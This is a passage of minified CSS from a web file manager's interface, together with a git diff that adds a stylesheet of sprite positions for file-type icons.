span.status{padding-left:10px;font-size:10px;color:#f96;}.movie-player-dialog{overflow:hidden;}.flash-player{width:100%;height:100%;}.wmp-player{width:0%;height:0%;}.movie-player-dialog .aui-content{background:#000;}.dialog-path-remove .aui-content{word-wrap:break-word;width:auto;}.server-dwonload-textarea textarea{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;}.server-dwonload-textarea textarea:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 0 3px rgba(117,161,240,0.3);}.file-upload-box{height:385px;padding:5px;min-width:365px;overflow:hidden;}.file-upload-box .topbar-nav{border-bottom:1px solid #ddd;margin-top:6px;}.file-upload-box .menu{display:block;text-decoration:none;float:left;padding:0px 15px;height:26px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#eeeeee');background-image:-webkit-linear-gradient(top,#fff,#eee);background-image:-moz-linear-gradient(top,#fff,#eee);background-image:-o-linear-gradient(top,#fff,#eee);background-image:-ms-linear-gradient(top,#fff,#eee);background-image:linear-gradient(top,#fff,#eee);-pie-background:linear-gradient(to top,#fff,#eee);font-size:1em;border:1px solid #ccc;text-align:center;line-height:24px;margin-right:5px;margin-bottom:-1px;color:#444;border-radius:4px 4px 0 0;}.file-upload-box .menu.this{background:#fff;border-bottom:1px solid #fff;}.file-upload-box .menu:hover{background:#fff;}.file-upload-box .upload-box{margin-top:10px;}.file-upload-box .download-btn-group{margin-left:-10px;margin-top:0px;position:absolute;}.file-upload-box .download-btn-group .btn{height:18px;}.file-upload-box .download-btn-group .download-start{border-radius:0px;}.file-upload-box .upload-box-tips .btn.btn-default{border-radius:3px;color:#555;}.file-upload-box .upload-box-tips .btn-group>.btn:last-child:not(:first-child),.file-upload-box .upload-box-tips .btn-group>.dropdown-toggle:not(:first-child){border-bottom-left-radius:0;border-top-left-radius:0;}.file-upload-box div a.left{margin-left:10px;}.file-upload-box div a.right{position:absolute;right:5px;}.file-upload-box span.info{font-size:1em;font-style:italic;padding:0px 0 5px 10px;}.file-upload-box i{font-size:1em;color:#aaa;padding-left:10px;}.file-upload-box .list{margin:10px 15px 10px 0;}.file-upload-box .list input{margin-left:10px;width:190px;height:22px;line-height:24px;padding:0px 3px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;}.file-upload-box .list input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.file-upload-box .submit input{float:right;padding:4px 20px;background:#ddd;border:none;margin-right:36px;margin-top:10px;}.file-upload-box .submit input:hover{background:#bbb;}.file-upload-box .submit input:active{background:#444;color:#fff;}.file-upload-box .uploader-content{border:1px solid #ddd;margin:0 10px;font-size:1em;overflow:auto;position:absolute;bottom:10px;right:0px;left:0px;top:124px;background:url("../../../images/common/drop_upload.png") no-repeat center;}.file-upload-box #downloader{border:1px solid #ddd;margin:0 10px;font-size:1em;overflow:auto;position:absolute;bottom:10px;right:0px;left:0px;top:124px;}.file-upload-box .webuploader-container{position:relative;}.file-upload-box .webuploader-element-invisible{position:absolute !important;clip:rect(1px 1px 1px 1px);clip:rect(1px,1px,1px,1px);}.file-upload-box .webuploader-pick{position:relative;display:inline-block;color:#fff;text-align:center;height:27px;line-height:27px;border-radius:3px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);cursor:pointer;padding:0px 15px;}.file-upload-box .webuploader-pick-hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);box-shadow:inset 0 1px 1em rgba(0,0,0,0.3);}.file-upload-box .upload-cert{width:24px;background:#def;height:100%;float:left;cursor:pointer;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);height:27px;line-height:27px;position:relative;z-index:10;padding:0;border:none;margin-left:-5px;border-left:1px solid rgba(0,0,0,0.1);border-top-right-radius:3px;border-bottom-right-radius:3px;}.file-upload-box .upload-cert .caret{margin-top:-2px;margin-left:-1px;border-top:4px solid #fff;}.file-upload-box .upload-cert-box .dropdown-menu{right:inherit;top:inherit;margin-top:30px;}.file-upload-box .upload-cert-box .dropdown-menu:before{right:inherit;left:10px;}.file-upload-box .upload-cert-box .dropdown-menu:after{right:inherit;left:11px;}.file-upload-box .upload-cert-box.open.upload-cert,.file-upload-box .upload-cert-box .upload-cert:hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);box-shadow:inset 0 1px 1em rgba(0,0,0,0.3);}.file-upload-box .webuploader-pick-disable{opacity:0.6;filter:alpha(opacity=60);pointer-events:none;}.file-upload-box .btns{margin-bottom:10px;font-size:1em;height:28px;}.file-upload-box .btns .tips{float:right;line-height:30px;}.file-upload-box .btns #picker{float:left;}.file-upload-box .upload-box-tips{line-height:34px;color:#888;position:absolute;right:10px;}.file-upload-box .upload-box-config{box-shadow:inset 0px 1px 6px rgba(0,0,0,0.3);border-radius:2px;margin-bottom:10px;padding:4px;}.file-upload-box .upload-box-config .upload-check-box{margin-left:10px;}.file-upload-box .upload-box-config label{margin-left:15px;}.file-upload-box .upload-box-config label input{margin-right:5px;}.file-upload-box .uploader-list .item,.file-upload-box .download-list .item{padding:0px;height:35px;overflow:hidden;position:relative;border-bottom:1px solid #ccc;background:#fefefe;}.file-upload-box .uploader-list .item .info,.file-upload-box .download-list .item .info{color:#224;line-height:35px;padding:0 5px;z-index:100;position:relative;font-size:1em;}.file-upload-box .uploader-list .item .info span,.file-upload-box .uploader-list .item .info a,.file-upload-box .download-list .item .info span,.file-upload-box .download-list .item .info a{float:left;height:30px;display:block;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;}.file-upload-box .uploader-list .item .info .title,.file-upload-box .download-list .item .info .title{color:#3A87AD;width:160px;width:50%;font-weight:800;}.file-upload-box .uploader-list .item .info .size,.file-upload-box .download-list .item .info .size{width:45px;text-align:center;color:#3A87AD;font-size:12px;}.file-upload-box .uploader-list .item .info .state,.file-upload-box .download-list .item .info .state{width:100px;width:27%;text-align:right;font-size:12px;}.file-upload-box .uploader-list .item .info .font-icon,.file-upload-box .download-list .item .info .font-icon{margin-left:12px;font-size:20px;width:20px;line-height:35px;cursor:pointer;color:#bbb;}.file-upload-box .uploader-list .item .info .font-icon:hover,.file-upload-box .download-list .item .info .font-icon:hover{text-decoration:none;color:#f60;}.file-upload-box .uploader-list .item .info .icon-ok,.file-upload-box .download-list .item .info .icon-ok{color:#40AA53;}.file-upload-box .uploader-list .item .info .error,.file-upload-box .download-list .item .info .error{color:#f30;}.file-upload-box .uploader-list .item.success,.file-upload-box .download-list .item.success{background:#eaf8ff;}.file-upload-box .uploader-list .item.error,.file-upload-box .download-list .item.error{background:#ffe8e6;}.file-upload-box .uploader-list .item .progress,.file-upload-box .download-list .item .progress{height:38px;margin:0px;width:100%;border-radius:0;box-shadow:none;position:absolute;top:0;}.file-upload-box .uploader-list .item .progress-bar,.file-upload-box .download-list .item .progress-bar{background-color:#adf;background-image:linear-gradient(45deg,rgba(255,255,255,0.35) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.35) 50%,rgba(255,255,255,0.35) 75%,transparent 75%,transparent);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ddeeff',endColorstr='#88ccff',GradientType=1);BACKGROUND-REPEAT:repeat-x;}.file-upload-box .uploader-list .success:hover,.file-upload-box .download-list .success:hover{cursor:pointer;background:#def;border-bottom:1px solid #3A87AD;}@media screen and (-ms-high-contrast:active),(-ms-high-contrast:none){.btn{ padding:5px 14px;} input[type='checkbox'].kui-checkbox-ios.size-big + em{ height:27px;} #body .system-content .right-frame .user-list table tr td.select input{ position:relative;top:4px;} #body table tr input[type='text']{ line-height:22px;} .do-search-box .search-header .btn-right{ margin:0px 0 0 -2px;height:25px;} .appbox .appline.icon .open{ margin-top:-2px;} .appbox .appline label{ position:relative;top:-4px;} #body .main .group-editor .tag input{ position:relative;top:-5px;} div.pathinfo .download-url{ height:30px;} div.file-list-icon .file .filename{ padding-top:0px;line-height:1.3em;} div.topbar .content .title.topbar-menu{ width:200px;} div.share-dialog .aui-border{ overflow:auto;} div.share-dialog .content-box .content-info .input-line.select-path a.select-btn{ padding:3px 8px 4px;} .kui-radio + span, .kui-checkbox + span{ position:relative;top:-6px;} .kui-radio.size-small + span, .kui-checkbox.size-small + span{ position:relative;top:-4px;} .kui-radio.size-smallx + span, .kui-checkbox.size-smallx + span{ position:relative;top:-2px;} .progress-bar{ transition:none;}}@media (max-width:743px){html #body .app-menu-left, html body .app-menu-left{ width:50px;min-width:50px;} html #body .app-menu-left .search{ opacity:0.001;} html #body .menu-left .setting a.selected, html body .menu-left .setting a.selected{ padding-left:0px;margin-left:-5px;} html #body .main.app-content, html body .main.app-content{ left:50px;} html #body .main.app-content .app-list, html body .main.app-content .app-list{ justify-content:space-around;} html .form-box .form-row .setting-title{ text-align:left;} html .form-box .form-row.form-userSelect .setting-content{ padding:10px 5%;} html .form-box .form-row .setting-content{ width:90%;} html body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group{ width:100%;height:40px;} html body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .form-box.config-box .panel-body{ left:0px;top:80px;} html body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item{ float:left;} html #body.plugin-page .app-menu-left .line, html body.plugin-page .app-menu-left .line{ padding:4px 0;} html body #body .menu-left, html body #body .app-menu-left{ width:50px;min-width:50px;} html body #body .menu-left h1, html body #body .app-menu-left h1{ font-size:14px;font-weight:800 !important;padding:10px 0px 10px 0px;text-align:center;} html body #body .menu-left .font-icon, html body #body .app-menu-left .font-icon{ padding-right:30px;} html #body .setting-tools-right, html body .setting-tools-right{ top:0;} html #body .main .nav a, html body .main .nav a{ padding:5px 10px;} html #body .main .nav, html body .main .nav{ margin-right:0px;} html #body .setting-tab, html body .setting-tab, html #body .system-content, html body .system-content{ margin-right:10px;} html #body .main, html body .main{ left:50px;width:auto;margin-right:10px;} html .form-box .form-row .desc, html .form-box .form-row .setting-content i{ display:block;} html #body .setting-tab .form-row, html body .setting-tab .form-row, html #body .system-content .form-row, html body .system-content .form-row{ background:#fafafa;border-radius:4px;padding:0 5px;} html .form-box .form-row .setting-title{ height:20px;line-height:20px;} html .form-box .form-row{ padding:0;} html .form-box .form-row input[type='text'], html .form-box .form-row input[type='password'], html .form-box .form-row input[type='number']{ width:180px;} html .form-box .form-row #wallpage-url{ width:150px !important;} html #body .main .section .content .box p, html body .main .section .content .box p{ text-indent:10px;} html #body .system-content.setting-member{ width:800px;} html body.setting-page .select-user-group .right-content, html body.setting-page .select-user-group .left-content{ width:170px;} html .topbar .content .top-right ul.dropdown-menu.topbar-language{ width:235px;max-height:800px;} html #body .main .section .box, html body .main .section .box{ margin-right:10px;} html #body .main .section .box .list, html body .main .section .box .list{ width:95px;height:95px;} html #body .main .section .box .list .ico, html body .main .section .box .list .ico{ width:75px;height:60px;} html #body .panel, html body .panel{ margin-right:0px;} html #body .main.app-content .app-list .app-li, html body .main.app-content .app-list .app-li{ margin:0 5px 20px 0;width:130px;} html #body .main.app-content .app-model, html body .main.app-content .app-model{ padding:10px;} html #body .menu-left .setting a, html body .menu-left .setting a{ text-indent:6px;} html .file-list-list .file .filename, html #main-title .filename, html .file-list-list .file .filetime, html #main-title .filetime{ width:100px;} html .file-list-list .file .filetype, html #main-title .filetype, html .file-list-list .file .filesize, html #main-title .filesize{ width:30px;} html .desktop .file-list-icon{ width:92%;} html .topbar .content .btn-wap-menu{ display:block !important;visibility:visible !important;position:absolute;text-align:center;z-index:100;color:#bbb;left:0;top:0;padding:0;background:rgba(0,0,0,0.05);width:45px;height:38px;line-height:40px;} html .topbar .content .btn-wap-menu i.font-icon{ padding-right:0;} html .topbar .content .top-left.collapse{ display:none;} html .topbar .content .top-left{ width:170px;height:auto;background:#fff;color:#666;position:absolute;left:45px;z-index:100;border:1px solid rgba(0,0,0,0.1);box-shadow:0 4px 30px rgba(0,0,0,0.15);} html .topbar .content .top-left .topbar-menu.title{ display:none;} html .topbar .content .top-left .topbar-menu{ float:none;border:none;} html .topbar .content .top-left .menu-group{ display:block;width:100%;height:auto;} html .topbar .content .top-left .menu-group a.topbar-menu{ display:none;} html .topbar .content .top-left .menu-group ul.dropdown-menu.topbar-submenu{ display:block;position:static;border-top:2px solid #ddd;box-shadow:none;border:none;width:100%;padding:0;} html .topbar .content .top-left .menu-group ul.dropdown-menu.topbar-submenu li{ height:auto;width:100%;margin:0;} html .topbar .content .top-left .menu-group ul.dropdown-menu.topbar-submenu li a{ text-align:left;padding:0px 1.2em;border-radius:0;height:40px;line-height:40px;} html .topbar .content .top-left .menu-group ul.dropdown-menu.topbar-submenu li a i, html .topbar .content .top-left .menu-group ul.dropdown-menu.topbar-submenu li a img{ font-size:13px;width:25px;height:20px;line-height:20px;display:inline-block;background-color:transparent;color:#666;position:relative;top:-16px;} html .topbar .content .top-left .menu-group ul.dropdown-menu.topbar-submenu li a span{ display:inline-block;padding-top:0;} html .frame-main .bottom-box .cell{ width:80%;margin-top:5px;} html .frame-main .bottom-box .cell i{ display:inline-block;font-size:18px;} html .topbar.share-page-topbar .top-left{ position:static;} html .topbar.share-page-topbar .content .top-left .share-info{ position:absolute;left:0;top:0;z-index:999;} html .topbar.share-page-topbar .content .top-left .share-info .size, html .topbar.share-page-topbar .content .top-left .share-info .time{ display:none;} html .topbar.share-page-topbar .content .top-left .share-info .share-title-info{ background:#fff;font-size:13px;color:#444;} html .topbar.share-page-topbar .top-right .share-info-user .info{ display:none;} html .topbar.share-page-topbar .top-right .btn-download{ padding:4px 6px !important;} html .share-page-main .content-box.show-code{ width:100%;height:100%;border:none;top:0px;left:0;padding:0;margin:0;} html body#page-desktop .topbar .content .btn-wap-menu{ color:#fff;} html body#page-desktop .topbar .content .top-left{ background:rgba(0,0,0,0.7);}}.share-page-main .markdown-preview{background:rgba(255,255,255,0.95);border-radius:4px;}@media print{div.topbar, div.common-footer{ display:none !important;} html body{ position:inherit;overflow:auto;} body div.frame-main{ bottom:0px;top:-20px;position:inherit;} div.content-box.markdown-preview{ margin-top:0 !important;margin-bottom:0px !important;} body div.show-code, body div.show-code pre{ left:0;right:0;position:inherit;padding:10px 20px;}} \ No newline at end of file diff --git a/static/style/skin/base/fileIcon.css b/static/style/skin/base/fileIcon.css new file mode 100755 index 0000000..181a3e6 --- /dev/null +++ b/static/style/skin/base/fileIcon.css @@ -0,0 +1 @@ +.x-item-small-item.x-7z{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -160px !important;}.x-item-small-item.x-bz2{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -144px !important;}.x-item-small-item.x-dmg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -128px !important;}.x-item-small-item.x-gz{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -112px !important;}.x-item-small-item.x-iso{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -96px !important;}.x-item-small-item.x-jar{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -80px !important;}.x-item-small-item.x-pkg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -64px !important;}.x-item-small-item.x-rar{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -48px !important;}.x-item-small-item.x-sitx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -32px !important;}.x-item-small-item.x-tar{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -16px !important;}.x-item-small-item.x-zip{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 0 !important;}.x-item-small-item.x-aac{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-16px -80px !important;}.x-item-small-item.x-m4a{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-16px -64px !important;}.x-item-small-item.x-midi{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-16px -48px !important;}.x-item-small-item.x-mp3{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-16px -32px !important;}.x-item-small-item.x-wav{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-16px -16px !important;}.x-item-small-item.x-wma{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-16px 0 !important;}.x-item-small-item.x-3ds{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -192px !important;}.x-item-small-item.x-ai{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -176px !important;}.x-item-small-item.x-as{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -160px !important;}.x-item-small-item.x-cdr{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -144px !important;}.x-item-small-item.x-dwg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -128px !important;}.x-item-small-item.x-dxf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -112px !important;}.x-item-small-item.x-eps{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -96px !important;}.x-item-small-item.x-fla{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -80px !important;}.x-item-small-item.x-indd{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -64px !important;}.x-item-small-item.x-prproj{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -48px !important;}.x-item-small-item.x-psb{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -32px !important;}.x-item-small-item.x-psd{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -16px !important;}.x-item-small-item.x-pspimage{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px 0 !important;}.x-item-small-item.x-c{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -320px !important;}.x-item-small-item.x-cpp{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -304px !important;}.x-item-small-item.x-cs{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -288px !important;}.x-item-small-item.x-csproj{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -272px !important;}.x-item-small-item.x-dtd{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -256px !important;}.x-item-small-item.x-h{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -240px !important;}.x-item-small-item.x-ldf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -224px !important;}.x-item-small-item.x-mdf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -208px !important;}.x-item-small-item.x-pdb{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -192px !important;}.x-item-small-item.x-resx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -176px !important;}.x-item-small-item.x-sln{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -160px !important;}.x-item-small-item.x-sql{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -144px !important;}.x-item-small-item.x-suo{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -128px !important;}.x-item-small-item.x-vb{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -112px !important;}.x-item-small-item.x-vbproj{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -96px !important;}.x-item-small-item.x-vcproj{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -80px !important;}.x-item-small-item.x-vcxproj{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -64px !important;}.x-item-small-item.x-xaml{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -48px !important;}.x-item-small-item.x-xml{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -32px !important;}.x-item-small-item.x-xsd{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -16px !important;}.x-item-small-item.x-xsl{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px 0 !important;}.x-item-small-item.x-bmp{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-64px -64px !important;}.x-item-small-item.x-gif{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-64px -48px !important;}.x-item-small-item.x-ico{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-64px -32px !important;}.x-item-small-item.x-jpg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-65px -13px !important;}.x-item-small-item.x-png{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-64px 0 !important;}.x-item-small-item.x-accdb{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -624px !important;}.x-item-small-item.x-csv{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -608px !important;}.x-item-small-item.x-doc{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -592px !important;}.x-item-small-item.x-docm{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -576px !important;}.x-item-small-item.x-docx{position:relative;width:16px !important;height:16px 